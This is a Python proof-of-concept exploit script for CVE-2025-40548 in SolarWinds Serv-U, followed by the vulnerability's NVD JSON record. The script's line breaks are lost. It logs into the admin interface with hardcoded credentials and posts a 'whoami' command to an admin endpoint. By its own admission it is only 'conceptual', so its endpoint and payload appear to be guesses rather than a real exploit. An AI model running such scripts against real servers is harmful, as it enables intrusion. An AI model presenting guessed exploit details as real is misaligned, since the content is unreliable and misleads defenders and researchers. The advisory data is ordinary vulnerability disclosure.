CVE-2025-40548

import requests import sys # CVE-2025-40548 PoC - Serv-U Admin Privilege Code Execution # Note: This is a conceptual PoC based on the vulnerability description # Actual exploitation requires valid admin credentials TARGET_HOST = "https://target-servu-server.com" ADMIN_USER = "admin" ADMIN_PASS = "password" def exploit_cve_2025_40548(): """ Exploitation steps for CVE-2025-40548: 1. Authenticate to Serv-U admin interface 2. Send specially crafted request with malicious payload 3. Execute arbitrary code with admin privileges """ session = requests.Session() # Step 1: Login to admin interface login_url = f"{TARGET_HOST}/Admin/index.html" login_data = { "username": ADMIN_USER, "password": ADMIN_PASS } try: response = session.post(login_url, data=login_data, verify=False, timeout=30) if response.status_code == 200 and "session" in response.cookies: print("[+] Successfully authenticated as admin") # Step 2: Send malicious request to trigger code execution # The exact endpoint and payload structure depends on Serv-U version exploit_url = f"{TARGET_HOST}/Admin/Command.axd" exploit_data = { "action": "execute", "command": "whoami", # Test command "module": "validation_bypass" } response = session.post(exploit_url, data=exploit_data, verify=False, timeout=30) if response.status_code == 200: print("[+] Exploit sent successfully") print(f"Response: {response.text}") else: print("[-] Exploit failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2025-40548 PoC - SolarWinds Serv-U Code Execution") print("Note: This requires valid admin credentials") exploit_cve_2025_40548()

{"cve": {"id": "CVE-2025-40548", "sourceIdentifier": "[email protected]", "published": "2025-11-18T09:15:52.167", "lastModified": "2025-12-02T16:36:36.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A missing validation process exists in Serv U when abused, could give a malicious actor with access to admin privileges the ability to execute code. \n\nThis issue requires administrative privileges to abuse. On Windows deployments, the risk is scored as a medium because services frequently run under less-privileged service accounts by default."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:solarwinds:serv-u:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.5.3", "matchCriteriaId": "5536873C-698D-4936-AA0C-63D0BE2CD3E2"}]}]}], "references": [{"url": "https://documentation.solarwinds.com/en/success_center/servu/content/release_notes/servu_15-5-3_release_notes.htm", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40548", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}